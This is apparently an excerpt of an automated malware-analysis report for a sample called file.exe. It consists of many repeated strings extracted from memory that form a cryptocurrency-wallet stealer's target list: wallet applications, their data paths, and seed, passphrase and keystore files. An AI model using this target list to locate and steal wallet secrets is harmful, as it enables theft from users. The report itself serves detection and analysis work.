Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonqP~l
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 